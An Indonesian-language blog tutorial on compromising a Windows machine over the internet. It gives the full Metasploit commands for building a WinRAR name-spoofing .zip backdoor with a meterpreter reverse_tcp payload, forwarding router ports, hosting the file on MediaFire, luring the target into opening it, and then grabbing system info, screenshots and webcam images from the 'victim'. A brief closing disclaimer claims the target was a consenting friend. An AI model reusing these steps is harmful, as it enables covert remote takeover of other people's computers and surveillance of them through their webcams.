Exploit Windows Menggunakan Winrar dengan Metasploit (Beda Jaringan)

Sebelumnya saya ucapkan selamat tahun baru 2016, semoga ini menjadi lembaran baru yang lebih baik, semoga lebih maju dan sukses untuk kita semua. di awal tahun ini saya masih membahas tentang metasploit, saya akan memberikan tutorial tentang cara Exploit Windows Menggunakan Winrar, oke langsung saja di simak langkah-langkahnya

pertama kita jalankan service porsgresql dan metasploit terlebih dahulu

service postgresql start
service metaploit start

selanjutnya buka msfconsole

msfconsole

Exploit Windows Menggunakan Winrar dengan Metasploit (Beda Jaringan)

Setelah msfconsole terbuka kita buat backdor dengan format .zip, ikutin saja perintahnya

use exploit/windows/fileformat/winrar_name_spoofing
set payload windows/meterpreter/reverse_tcp
set filename Template_Anherr.zip
set spoof template.txt
set lhost 36.70.XXX.XXX
exploit

use exploit/windows/fileformat/winrar_name_spoofing

Keterangan:
Temmplate_Anherr.zip >> Nama File backdor yang di buat (saya ilustrasikan ini merupakan template blog)
Template.txt >> isi dari Temmplate_Anherr.zip
36.70.XXX.XXX >> Ip Public

kenapa saya lhostnya menggunakan ip public, ya karena target yang akan di exploit kali ini adalah berbeda jaringan. jangan lupa jika menggunakan ip public kalian harus setting port foward pada router. ceklist pada DMZ Enabled

Selanjutnya kita ambil backdoor tadi di folder /root/.msf4/local/ Kemudian upload , disini saya uplod di mediafire, kalian juga bisa coba tempat upload file yang lain.

oke setelah pembuatan backdoor selesai dan di upload, kita jalankan perintah exploit

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.06
exploit

Catatan: untuk lhost isikan ip local

setelah itu kita berikan backdoor tersebut ke target, berikan link yang buat download backdoor tadi ke target :D

Kita tunggu dulu broo, sampai targett download dan membuka file backdoor tadi

dan taraaa...!! ternyata exploit berhasil, meterpreter session opened :v

Saya coba cek informasi sytem korban

sysinfo

Selanjutnya saya coba ambil screenshot laptop korban , dan coba capture wbcam korban

ini hasilnya

sepertinya dia lagi galau broo,wkwkw
udah segitu aja percobaan kali ini

ini hanya untuk pembelajaran semata, target saya disini adalah temen saya sendiri, sebelumnya saya sudah meminta dan sudah di beri izin untuk melakuakn percobaan ini. penyalahgunaan dari tutorial ini itu diluar tanggung jawab saya.

oke sekian tutorial mengenai cara Exploit Windows Menggunakan Winrar dengan Metasploit semoga bermanfaat bagi kita semua.